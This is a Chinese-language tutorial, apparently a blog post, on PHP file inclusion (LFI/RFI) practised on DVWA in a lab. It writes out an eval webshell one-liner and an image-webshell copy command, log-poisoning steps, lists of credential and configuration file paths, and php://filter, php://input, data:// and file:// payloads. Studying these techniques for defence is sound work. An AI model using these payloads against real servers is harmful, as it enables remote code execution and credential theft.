文件包含

文件包含

定义

因为相同代码重复出现在不同文件中,导致代码冗余。所以为了避免代码冗余,就出现了文件包含函数。文件包含就是让代码更为高效,需要用到的部分会去调用,且被包含的文件会被当做PHP代码执行,忽略后缀本身

说明:
如果直接访问txt文件,那么会打开txt文件,将里面的内容当做字符串进行显示,不会执行。
如果通过内容包含,那么打开txt文件后,会将里面的内容作为代码进行执行。

1657243273002

1657243313995

#1.php中的内容
<?php
include('1.txt');
?>
思考:如果我们可以控制文件包含,是不是上传带一句话木马的文件,通过文件包含来调用木马文件就可以拿下服务器了?

函数

常用的本地文件包含函数有四个:

  • include() #用到临时加载 (临时加载然后使用)[不影响整体]
  • include_once() #检查之前是否包含过,如果有就不包含了
  • require() #先加载,然后整合原有代码,然后一齐执行[影响整体]
  • require_once() #检查之前是否包含过,如果有就不包含了

函数比较

include()与include_once()

#1.php内容
<?php
include('1.txt');
include('1.txt');
?>

1657244389158

#1.php内容
<?php
include_once('1.txt');
include_once('1.txt');
?>

1657244507893

有once会检查是否重复,如果之前执行过了就不会再执行了

include()与require()

#1.php内容,其中a.txt是不存在的文件
<?php
echo 1;
include('a.txt');
echo 'abc';
?>

1657244775992

#1.php内容,其中a.txt是不存在的文件
<?php
echo 1;
require('a.txt');
echo 'abc';
?>

1657244828763

include()调用出错不会影响正常代码的执行
require()调用出错会影响后续正常代码的执行

分类

本地文件包含

说明

本地文件包含(LFI) => 在目标机器上,上传文件马,然后包含

实现

服务器端

提前在服务器的此路径下准备好了1.php文件

1657247620772

#1.php中的内容
<?php phpinfo(); ?>
攻击端

在本地访问服务器,然后服务器通过本地文件包含,包含1.php的内容。注意可以写绝对路径也可以写相对路径

1657247790284

成功执行!

远程文件包含

说明

远程文件包含(RFI) => 让目标机器访问外网的某个文件,然后包含。1.txt(一句话木马)

默认情况下,远程文件包含不开启
必须修改配置文件:allow_url_include = On(远程文件包含)

我们不改配置文件,但是我们也可以远程文件包含。

绕过技巧:windows可以通过SMB文件共享来绕过allow_url_include = On,虽然使用的是本地文件包含,但是实现的功能是远程文件包含的功能。

实现

外部服务器
#haha.php的内容
<?php phpinfo();?>
攻击端

在本地访问服务器,通过远程文件包含访问第三方服务器

1657249172386

注意:显示的内容是服务器端的信息,与第三方服务器完全无关

利用文件包含读取文件

Windows系统敏感信息:

C:\boot.ini                                 //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置文件
C:\windows\repair\sam                       //windows初次安装的密码
C:\program Files\mysql\my.ini               //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD  //Mysql root 
C:\windows\php.ini                          //php配置信息
......

Linux系统敏感信息:

/etc/passwd                                 //linux用户信息
/usr/local/app/apache2/conf/httpd.conf      //apache2配置文件
/usr/local/app/php5/lib/php.ini             //php配置文件
/etc/httpd/conf/httpd.conf                  //apache配置文件
/etc/my.cnf                                 //Mysql配置文件
......
这个就靠自己收集一些敏感文件的路径了

利用文件包含和文件上传漏洞包含图片木马

制作图片木马

准备图片

根据DVWA上传限制,图片大小小于100k

1657259123825

准备一句话木马文件

#1.php内容
<?php @eval($_REQUEST[8]);?>

图片马的制作

C:\Users\44880>copy  C:\Users\44880\Desktop\R-C.jpg/b +  C:\Users\44880\Desktop\1.php/a  C:\Users\44880\Desktop\1.png

C:\Users\44880\Desktop\R-C.jpg
C:\Users\44880\Desktop\1.php
已复制         1 个文件。

1657259123825

两张图片直接看起来好像没有什么区别对吧?
使用文本编辑器打开图片进行查看

1657259247368

发现图片的16进制编码的最后多了一段一句话木马的内容

使用文件上传功能上传图片

1657259467872

通过DVWA上传一个文件大小小于100k,后缀名为png的图片

上传成功获取存储后的路径

1657259485226

通过文件包含访问图片马

1657259691758

使用菜刀进行连接

1657259728180

1657259353434

日志文件实现webshell

发起错误访问(访问一个不存在的文件)

1657261739884

两个目的:
生成错误的访问日志
根据报错结果得到phpstudy的安装路径,然后推测出日志文件的路径

通过文件包含访问报错日志

#猜测路径为
C:\phpStudy\PHPTutorial\Apache\logs\error.log

1657261641752

1657261690268

路径猜测正确

向报错日志中写入webshell

http://192.168.239.254/DVWA/vulnerabilities/fi/<?php phpinfo();?>

1657262174908

通过文件包含打开日志

1657262427202

发现并没有执行phpinfo,查看一下是否成功写入

1657262410381

很明显我们写入错误日志中的内容被转码了

通过BURP抓包

将转码的内容在解码成正常的格式

1657262721789

再次通过文件包含查看报错日志

1657262833916

成功获取webshell

PHP封装伪协议

PHP有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()和filesize()的文件系统函数所提供的功能类似。

名称 描述
file:// 访问本地文件系统
http:// 访问HTTP(s)网址
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
phar:// PHP归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
ftp:// 访问 FTP(s) URLs
glob:// 查找匹配的文件路径模式

PHP封装伪协议

php://filter——读取源码

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。
常用语句
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
#说明:
利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。

php://input——执行PHP代码

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。

使用php://input可以执行PHP语句,但使用这条语句时需要注意:php://input受限于allow_url_include选项。也就是说,只有在allow_url_include为On时才可以使用。

常用语句
在post头中:<?php fputs(fopen('test.php','w'),'<?php @eval($_REQUEST[8]);?>');?>
fopen( "test.txt", "w" );//以可写的方式打开一个文件,如果不存在就创建一个同名文件

data:// 协议

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)

http://www.xx.com?file=file:///etc/passsword

zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://

总结

1657267845702

使用

留下评论